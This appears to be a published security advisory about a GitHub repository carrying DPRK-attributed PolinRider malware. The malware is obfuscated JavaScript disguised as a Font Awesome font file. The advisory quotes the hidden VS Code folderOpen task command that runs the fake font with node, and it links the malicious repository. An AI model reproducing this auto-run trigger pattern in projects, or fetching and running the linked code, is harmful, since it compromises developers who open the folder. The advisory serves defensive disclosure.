GCVE-110-OSM-2026-14658

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published October 15, 2026

GitHub repository carrying DPRK PolinRider malware: public/fonts/fa-brands-400.ttf. Opening the folder in VS Code or running its CI executes the payload. === DPRK PolinRider fake-font payload === Malicious payload found in: public/fonts/fa-brands-400.ttf Commit: 759c8966182066c16a244372dfa0cd43d6eaea28 Signals: wrapper:(global,require) Obfuscated JavaScript disguised as a Font Awesome webfont (DPRK-attributed PolinRider kit). Trigger: .vscode/tasks.json hidden folderOpen task runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-brands-400.ttf) || (where node >nul 2>&1 && node ./public/fonts/fa-brands-400.ttf) || echo ''

Download JSON Look up in the Resolve Platform

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown		all (affected)	—

References

Malicious repository: https://github.com/zhaikong/sheerid-verification

advisory

Browse GCVE Records

1,063 records in the GCVE database · Updated November 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Look up in the Resolve Platform Download JSON